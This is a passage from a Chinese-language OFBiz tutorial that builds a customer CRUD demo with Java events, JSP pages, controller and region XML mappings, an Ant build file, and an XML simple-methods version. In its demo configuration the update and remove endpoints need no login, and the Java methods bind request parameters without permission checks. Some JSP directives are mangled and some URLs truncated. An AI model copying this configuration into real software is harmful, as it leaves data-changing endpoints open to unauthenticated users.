数据库中。然后通过 delegator 的 findAll 取到所有已保存的 Object，最后通过一个 Iterator 对象
显示出来。

这个程序起名为 testofbiz.jsp，为简单起见，我们放到 Ofbiz 已有的一个 Webapp 的目录下，放到
c:\ofbiz\ofbiz\partymgr\webapp\party 目录下。然后我们需要修改两个配置文件：controller.xml
和 regions.xml，这两个文件就是我们上面提到的 mapping 和 regions 配置文件。

这两个文件都在：c:\ofbiz\ofbiz\partymgr\webapp\WEB-INF 下，在 controller.xml 中加入下面

<request-map uri="testofbiz">
<description>Test Ofbiz</description>
<security https="false" auth="false"/>
<response name="success" type="view" value="testofbiz"/>
</request-map>
和
<view-map name="testofbiz" type="region"/>

加入位置请参照 controller.xml 中已经有的配置。在 regions.xml 中加入：
<define id='testofbiz' region='MAIN_REGION'>
<put section='title'>Test Ofbiz</put>
<put section='content' content='/party/testofbiz.jsp'/>
</define>
具体加入位置请参考已有的配置。

配置完后，重新启动 ofbiz，然后访问 URL:
http://localhost:8080/partymgr/control/testofbiz

由于我们在 testofbiz.jsp 程序中使用了 Ofbiz 的安全控制机制，系统会提示现在没有访问
权限，需要登录，点击右边的“Login” 用 admin/ofbiz 登录后会看到我们程序 testofbiz.jsp
的运行结果。如果需要增加新记录，请修改

UtilMisc.toMap("customerId","1","customerName","Cust1","customerNote","Customer Note 1"));

中的各个段的值，然后再访问 http://localhost:8080/par......testofbiz，如果不修改
而直接访问那个 URL 时，系统会提示 Primary key 冲突。

5.按照显示与逻辑分离的原则使用 Schema:

上篇讲了如何在 JSP 中使用创建的 Schema 对象，这次我们来讲述一下如何把程序
逻辑放到 JavaBeans 中，把显示处理放到 JSP 中，并使用 controller.xml 将两
部分整合起来。

首先我们来创建一个 JavaBeans，来完成Add/Get/Delete/Update Schema 对象
的操作，程序文件名为 TestOfbiz.java，放置在
c:\ofbiz\ofbiz\testOfbiz\com\geeyo\ofbiz 目录下, 具体程序如下：

>=================================================================
package com.geeyo.ofbiz;

import javax.servlet.*;
import javax.servlet.http.*;
import java.util.*;
import java.net.*;
import org.ofbiz.core.util.*;
import org.ofbiz.core.entity.*;
import org.ofbiz.core.service.*;
import org.ofbiz.core.security.*;
import org.ofbiz.core.stats.*;

public class TestOfbiz
{
public static void main(String[] args)
throws Exception
{
GenericDelegator delegator = GenericDelegator.getGenericDelegator("default");
delegator.create("StudyCustomer",UtilMisc.toMap("customerId","3","customerName","Kane3","customerNote","This is test customer.3"));

Iterator custs = UtilMisc.toIterator(delegator.findAll("StudyCustomer",UtilMisc.toList("customerId","customerName","customerNote")));

while(custs.hasNext())
{
GenericValue cust = (GenericValue)custs.next();
System.out.println(cust.getString("customerId"));
System.out.println(cust.getString("customerName"));
System.out.println(cust.getString("customerNote"));
}
}

public static String createNewRecord(HttpServletRequest request, HttpServletResponse response)
throws Exception
{
Map paras = UtilMisc.getParameterMap(request);

GenericDelegator delegator = GenericDelegator.getGenericDelegator("default");
delegator.create("StudyCustomer",paras);

return "success";
}

public static String lookAllRecords(HttpServletRequest request, HttpServletResponse response)
throws Exception
{
GenericDelegator delegator = GenericDelegator.getGenericDelegator("default");
Iterator custs = UtilMisc.toIterator(delegator.findAll("StudyCustomer",UtilMisc.toList("customerId","customerName","customerNote")));

Collection col = new ArrayList();

while(custs.hasNext())
{
GenericValue cust = (GenericValue)custs.next();
col.add(cust);

}

request.getSession().setAttribute("search_results",col);

return "success";
}

public static String findRecord(HttpServletRequest request, HttpServletResponse response)
throws Exception
{
String id = (String)request.getParameter("customerId");

GenericDelegator delegator = GenericDelegator.getGenericDelegator("default");

try {
GenericValue cust = delegator.findByPrimaryKey("StudyCustomer",UtilMisc.toMap("customerId",id));

request.getSession().setAttribute("edit_cust",cust);
} catch (GenericEntityException gee) {
Debug.logWarning(gee);
}

return "success";
}

public static String updateRecord(HttpServletRequest request, HttpServletResponse response)
throws Exception
{
Map paras = UtilMisc.getParameterMap(request);

GenericDelegator delegator = GenericDelegator.getGenericDelegator("default");
GenericValue cust = delegator.findByPrimaryKey("StudyCustomer",UtilMisc.toMap("customerId",paras.get("customerId")));
cust.setNonPKFields(paras);
cust.store();

request.getSession().setAttribute("edit_cust",cust);

return "success";
}

public static String removeRecord(HttpServletRequest request, HttpServletResponse response)
throws Exception
{
String strId = request.getParameter("id");
GenericDelegator delegator = GenericDelegator.getGenericDelegator("default");
GenericValue cust = delegator.findByPrimaryKey("StudyCustomer",UtilMisc.toMap("customerId",strId));
cust.remove();

return "success";
}

}

>=================================================================

程序中的处理大部分可以看懂的，其中有个功能，是
Map paras = UtilMisc.getParameterMap(request);
这是 Ofbiz 的一个有趣但非常有用的功能，它是把 request 中各段的名字和值映射到一个 Map
对象中，然后使用
cust.setNonPKFields(paras);
就可以赋给 Object cust 的各个段，免了我们使用 request.getParameter("name")来取各个
值，在值很多的时候这个功能可以大大减少冗余代码量。

基本程序的逻辑是这样的，
1.从 request 读取传来的值
 2.使用 delegator 来处理，Add/Update/Delete/Query
3.将返回结果放到 Session 中传给 JSP

我做了个 Ant build.xml 文件可以帮助编译，把这个文件放在:
c:\ofbiz\ofbiz\testOfbiz\ 目录下，然后在命令行窗口下进入该目录，敲入 ant
来编译（需要保证已经安装 Ant），编译后的 .class 会放在
c:\ofbiz\ofbiz\testOfbiz\com\geeyo\ofbiz 下，
拷贝 c:\ofbiz\ofbiz\testofbiz\com 目录到 c:\ofbiz\ofbiz\partymgr\webapp\WEB-INF\classes
目录下。

build.xml
>=============================================================================

<project name="TestOfbiz" default="dist" basedir=".">
<description>
Test ofbiz
</description>

<!--test cvs-->
<!-- set global properties for this build -->

<property name="src" location="."/>
<property name="build" location="."/>

<property name="lib_dir" location="c:/ofbiz/catalina/shared/lib"/>
<property name="lib1_dir" location="c:/ofbiz/catalina/common/lib"/>

<path id="project.class.path">
<fileset dir="${ lib_dir }">
<include name="*.jar"/>
</fileset>
<fileset dir="${ lib1_dir }">
<include name="*.jar"/>
</fileset>
</path>

<target name="init">
<!-- Create the time stamp -->
<tstamp/>
<!-- Create the build directory structure used by compile -->
<mkdir dir="${ build }"/>
</target>

<target name="compile" depends="init"
description="compile the source " >
<!-- Compile the java code from ${ src } into ${ build } -->
<javac srcdir="${ src }" destdir="${ build }">
<classpath refid="project.class.path"/>
</javac>
</target>

<target name="dist" depends="compile"
description="generate the distribution" >
<!-- Create the distribution directory -->
</target>

<target name="clean"
description="clean up" >
<!-- Delete the ${ build } and ${ dist } directory trees -->
</target>
</project>

>=============================================================================

然后我们来创建 JSP 程序，JSP 程序全部放在
c:\ofbiz\ofbiz\partymgr\webapp\party 下面

1.listofbiz.jsp
>=============================================================================

<% at taglib uri="ofbizTags" prefix="ofbiz" %>

<%@ page import="java dot util.*, org.ofbiz.core.service.ModelService" %>
<% at page import="org dot ofbiz.core.util.*, org.ofbiz.core.pseudotag.*" %>
<% at page import="org dot ofbiz.core.entity.*" %>
<jsp:useBean id="security" type="org.ofbiz.core.security.Security" scope="request" />
<jsp:useBean id="delegator" type="org.ofbiz.core.entity.GenericDelegator" scope="request" />

<script language="JavaScript">
function confirmDelete()
{
return confirm("Are your sure to delete?");
}
</script>

<%if(security.hasEntityPermission("PARTYMGR", "_VIEW", session)) { %>

<table width="600" align="center">
<ofbiz:if name="search_results">
<tr><th>Id</th><th>Name</th><th>Note</th><th></th></tr>
<ofbiz:iterator name="cust" property="search_results">
<tr>
<td><ofbiz:entityfield attribute="cust" field="customerId"/></td>
<td><ofbiz:entityfield attribute="cust" field="customerName"/></td>
<td><ofbiz:entityfield attribute="cust" field="customerNote"/></td>
<td>
<a href='<ofbiz:url>/showtest?customerId=<ofbiz:entityfield attribute="cust" field="customerId"/></ofbiz:url>' class="buttontext">[Edit]</a>
<a href='<ofbiz:url>/removetest?customerId=<ofbiz:entityfield attribute="cust" field="customerId"/></ofbiz:url>' class="buttontext" onclick="return confirmDelete()">[Remove]</a>
</td>
</tr>
</ofbiz:iterator>
</ofbiz:if>
</table>
<table width="200" align="center">
<tr>
<td><a href='<ofbiz:url>/createTestForm</ofbiz:url>'>Create customer</a></td>
</tr>
</table>

<% }else{ %>
<h3>You do not have permission to view this page. ("PARTYMGR_VIEW" or "PARTYMGR_ADMIN" needed)</h3>
<% }%>

>=============================================================================

上面程序中需要说明的是
<ofbiz:if name="search_results">
和
<ofbiz:iterator name="cust" property="search_results">，

<ofbiz:if name="search_results"> 是用来检验在 session 或 pageContext 对象
中是否包含 search_results 对象，该对象是由我们的程序放到 session 中的。
<ofbiz:iterator name="cust" property="search_results"> 是用来循环读取对象
search_results（是个 Collection 对象）中存储的各对象，并赋给cust，然后在循环体
中，我们就可以用 cust 对象来读取各个段的值了。

2.createofbiz.jsp
>=============================================================================

<% at taglib uri="ofbizTags" prefix="ofbiz" %>

<%@ page import="java dot util.*, org.ofbiz.core.service.ModelService" %>
<% at page import="org dot ofbiz.core.util.*, org.ofbiz.core.pseudotag.*" %>
<% at page import="org dot ofbiz.core.entity.*" %>
<jsp:useBean id="security" type="org.ofbiz.core.security.Security" scope="request" />
<jsp:useBean id="delegator" type="org.ofbiz.core.entity.GenericDelegator" scope="request" />
<%if(security.hasEntityPermission("PARTYMGR", "_VIEW", session)) { %>

<form method="post" action="<ofbiz:url>/createTest</ofbiz:url>" name="createofbiz">
<table width="300" align="center">
<tr>
<td>Id</td><td><input type="text" name="customerId" size="20"></td>
</tr>
<tr>
<td>Name</td><td><input type="text" name="customerName" size="20"></td>
</tr>
<tr>
<td>Note</td><td><input type="text" name="customerNote" size="30"></td>
</tr>
<tr>
<td></td>
<td><input type="submit"></td>
</tr>
</table>
</form>

<% }else{ %>
<h3>You do not have permission to view this page. ("PARTYMGR_VIEW" or "PARTYMGR_ADMIN" needed)</h3>
<% }%>
>=============================================================================

这个程序很容易理解，需要注意的是每个文本框的名字，要跟 Schema StudyCustomer 的各
个段一致，以使程序中跟容易处理。

3.showofbiz.jsp
>=============================================================================

<% at taglib uri="ofbizTags" prefix="ofbiz" %>

<%@ page import="java dot util.*, org.ofbiz.core.service.ModelService" %>
<% at page import="org dot ofbiz.core.util.*, org.ofbiz.core.pseudotag.*" %>
<% at page import="org dot ofbiz.core.entity.*" %>
<jsp:useBean id="security" type="org.ofbiz.core.security.Security" scope="request" />
<jsp:useBean id="delegator" type="org.ofbiz.core.entity.GenericDelegator" scope="request" />
<%if(security.hasEntityPermission("PARTYMGR", "_VIEW", session)) { %>

<form method="post" action="<ofbiz:url>/updateTest</ofbiz:url>" name="updateofbiz">
<table width="300" align="center">
<tr>
<td>Id</td><td><input type="text" name="customerId" size="20" value="<ofbiz:entityfield attribute="edit_cust" field="customerId"/>"></td>
</tr>
<tr>
<td>Name</td><td><input type="text" name="customerName" size="20" value="<ofbiz:entityfield attribute="edit_cust" field="customerName"/>"></td>
</tr>
<tr>
<td>Note</td><td><input type="text" name="customerNote" size="30" value="<ofbiz:entityfield attribute="edit_cust" field="customerNote"/>"></td>
</tr>
<tr>
<td></td>
<td><input type="submit"></td>
</tr>
</table>
</form>

<% }else{ %>
<h3>You do not have permission to view this page. ("PARTYMGR_VIEW" or "PARTYMGR_ADMIN" needed)</h3>
<% }%>

>=============================================================================

这个程序中，主要是通过
<ofbiz:entityfield attribute="edit_cust" field="customerId"/>
把取到的对象的段显示出来, 对象 edit_cust 是我们在程序中取到并放到 session 中的。

下面我们来配置 controller.xml 和 regions.xml, 在 controller.xml 中加入:
>=============================================================================

<request-map uri="createTestForm">
<description>Show the create form</description>
<security https="false" auth="false"/>
<response name="success" type="view" value="createTestForm"/>
</request-map>

<request-map uri="testofbiz">
<description>Test Ofbiz</description>
<security https="false" auth="false"/>
<response name="success" type="view" value="testofbiz"/>
</request-map>

<request-map uri="listtest">
<description>List all records</description>
<security https="false" auth="false"/>
<event type="java" path="com.geeyo.ofbiz.TestOfbiz" invoke="lookAllRecords" />
<response name="success" type="view" value="listAllTest"/>
</request-map>

<request-map uri="showtest">
<description>Show records</description>
<security https="false" auth="false"/>
<event type="java" path="com.geeyo.ofbiz.TestOfbiz" invoke="findRecord" />
<response name="success" type="view" value="showTest"/>
</request-map>

<request-map uri="createTest">
<security https="true" auth="true"/>
<event type="java" path="com.geeyo.ofbiz.TestOfbiz" invoke="createNewRecord"/>
<response name="success" type="request" value="listtest"/>
<response name="error" type="view" value="createTestForm"/>
</request-map>

<request-map uri="updateTest">
<description>update a record</description>
<security https="false" auth="false"/>
<event type="java" path="com.geeyo.ofbiz.TestOfbiz" invoke="updateRecord" />
<response name="success" type="request" value="listtest"/>
</request-map>

<request-map uri="removetest">
<description>remove a record</description>
<security https="false" auth="false"/>
<event type="java" path="com.geeyo.ofbiz.TestOfbiz" invoke="removeRecord" />
<response name="success" type="request" value="listtest"/>
</request-map>

<view-map name="listAllTest" type="region"/>
<view-map name="createTestForm" type="region"/>
<view-map name="showTest" type="region"/>
>=============================================================================

在 regions.xml 中加入：
>=============================================================================
<define id='createTestForm' region='MAIN_REGION'>
<put section='title'>Create Ofbiz</put>
<put section='content' content='/party/createofbiz.jsp'/>
</define>

<define id='listAllTest' region='MAIN_REGION'>
<put section='title'>List Ofbiz</put>
<put section='content' content='/party/listofbiz.jsp'/>
</define>

<define id='showTest' region='MAIN_REGION'>
<put section='title'>Show Ofbiz</put>
<put section='content' content='/party/showofbiz.jsp'/>
</define>

>=============================================================================

现在就完成了，我们重新启动 Ofbiz，然后用 IE 访问：
http://localhost:8080/par......l/listtest，用admin/ofbiz 登录后就可以
看到我们刚才的工作成果了，你现在可以增加/删除/修改记录。

6.Ofbiz 通过 XML 来完成数据库操作（非常强大的功能）

这是 Ofbiz 的一个非常强大的功能，可能通过简单的 XML 文件来完成数据增/删/改的处理，
这些处理在数据库应用中是非常多的，因为很多需要维护的数据，所以写程序也是最花时间的，
Ofbiz 把这些操作通过 XML 来完成，不能不说是一大革命---使我们不用写程序就可以完成大
部分处理，这是每个程序员都向往的终极目标。

我们下面举例来讲述一下，处理的数据还是利用我们前面创建的 StudyCustomer，使用 XML
配置文件来完成前面程序 TestOfbiz.java 的大部分操作。

在 c:\ofbiz\ofbiz\testOfbiz\com\geeyo\ofbiz 目录下创建文件 TestOfbizServices.xml，
该文件的内容如下：

>=================================================================

<?xml version="1.0" encoding="UTF-8" ?>
<!DOCTYPE simple-methods PUBLIC "-//OFBiz//DTD Simple Methods//EN" "" target="_blank">http://www.ofbiz.org/dtds/simple-methods.dtd">

<simple-methods>

<!-- TestOfbiz methods -->
<simple-method method-name="createNewRecord" short-description="Create a new record">
<check-permission permission="STUDYCUSTOMER" action="_CREATE"><fail-message message="Security Error: to run createRecord you must have the STUDYCUSTOMER_CREATE permission"/></check-permission> <check-errors/>

<make-value entity-name="StudyCustomer" value-name="newEntity"/>
<set-pk-fields map-name="parameters" value-name="newEntity"/>
<set-nonpk-fields map-name="parameters" value-name="newEntity"/>

<create-value value-name="newEntity"/>
</simple-method>
<simple-method method-name="updateRecord" short-description="Update a record">
<check-permission permission="STUDYCUSTOMER" action="_UPDATE"><fail-message message="Security Error: to run updateRecord you must have the STUDYCUSTOMER_UPDATE permission"/></check-permission>

<check-errors/>

<make-value entity-name="StudyCustomer" value-name="lookupPKMap"/>
<set-pk-fields map-name="parameters" value-name="lookupPKMap"/>
<find-by-primary-key entity-name="StudyCustomer" map-name="lookupPKMap" value-name="lookedUpValue"/>
<set-nonpk-fields map-name="parameters" value-name="lookedUpValue"/>

<store-value value-name="lookedUpValue"/>
</simple-method>

<simple-method method-name="findRecord" short-description="lookup a record">
<check-errors/>

<make-value entity-name="StudyCustomer" value-name="lookupPKMap"/>
<set-pk-fields map-name="parameters" value-name="lookupPKMap"/>
<find-by-primary-key entity-name="StudyCustomer" map-name="lookupPKMap" value-name="edit_cust"/>
<field-to-session field-name="edit_cust"/>
</simple-method>

<simple-method method-name="removeRecord" short-description="Delete a record">
<check-permission permission="STUDYCUSTOMER" action="_DELETE"><fail-message message="Security Error: to run deleteRecord you must have the STUDYCUSTOMER_DELETE permission"/></check-permission>
<check-errors/>

<make-value entity-name="StudyCustomer" value-name="lookupPKMap"/>
<set-pk-fields map-name="parameters" value-name="lookupPKMap"/>
<find-by-primary-key entity-name="StudyCustomer" map-name="lookupPKMap" value-name="lookedUpValue"/>
<remove-value value-name="lookedUpValue"/>
</simple-method>

<simple-method method-name="lookAllRecords" short-description="lookup suitable records">
<check-errors/>
<find-by-and entity-name="StudyCustomer" list-name="search_results"/>
<field-to-session field-name="search_results"/>
</simple-method>

</simple-methods>

>=================================================================

上面的 XML 基本是不用解释的，定义了

createNewRecord
updateRecord
lookAllRecords
removeRecord
findRecord

这几个方法，而且都有对用户权限的检查，这几个方法对应于前面 TestOfbiz.java 中的几个方法，
这样来做数据库操作显然比用 Java 程序写要简单得多，

下面还需要在 controller.xml（具体文件得位置请参照前面的教程）更改一下 mapping 的设置，
更改如下，以前使用 TestOfbiz.java 时的配置我以注释的方式保留着以做参照：

>=================================================================

<request-map uri="createTestForm">
<description>Show the create form</description>
<security https="false" auth="false"/>
<response name="success" type="view" value="createTestForm"/>
</request-map>

<request-map uri="listtest">
<description>List all records</description>
<security https="false" auth="false"/>
<event type="simple" path="com/geeyo/ofbiz/TestOfbizServices.xml" invoke="lookAllRecords" />
<response name="success" type="view" value="listAllTest"/>
</request-map>

<request-map uri="showtest">
<description>Show records</description>
<security https="false" auth="false"/>
<event type="simple" path="com/geeyo/ofbiz/TestOfbizServices.xml" invoke="findRecord" />
<response name="success" type="view" value="showTest"/>
</request-map>

<request-map uri="createTest">
<security https="true" auth="true"/>
<event type="simple" path="com/geeyo/ofbiz/TestOfbizServices.xml" invoke="createNewRecord"/>
<response name="success" type="request" value="listtest"/>
<response name="error" type="view" value="createTestForm"/>
</request-map>

<request-map uri="updateTest">
<description>update a record</description>
<security https="false" auth="false"/>
<event type="simple" path="com/geeyo/ofbiz/TestOfbizServices.xml" invoke="updateRecord" />
<response name="success" type="request" value="listtest"/>
</request-map>

<request-map uri="removetest">
<description>remove a record</description>
<security https="false" auth="false"/>
<event type="simple" path="com/geeyo/ofbiz/TestOfbizServices.xml" invoke="removeRecord" />
<response name="success" type="request" value="listtest"/>
</request-map>

<view-map name="listAllTest" type="region"/>
<view-map name="createTestForm" type="region"/>
<view-map name="testofbiz" type="region"/>
<view-map name="showTest" type="region"/>

>=================================================================

配置该文件的方法请参照前面的教程，regions.xml 不需改动。

配置完后请用前面讲过的方法访问 URL: http://localhost:8080/partymgr/control/listtest

现在我们可以看到，Ofbiz 在 MVC 方面做得非常好，我们可以把后端的处理程序从 java 改
成用 XMl 控制，而其他部分（像 JSP）不需任何改动，这可以保证我们系统各部分的独立性。

http://www.cnpoint.com/mv......nforum/viewthread?thread=65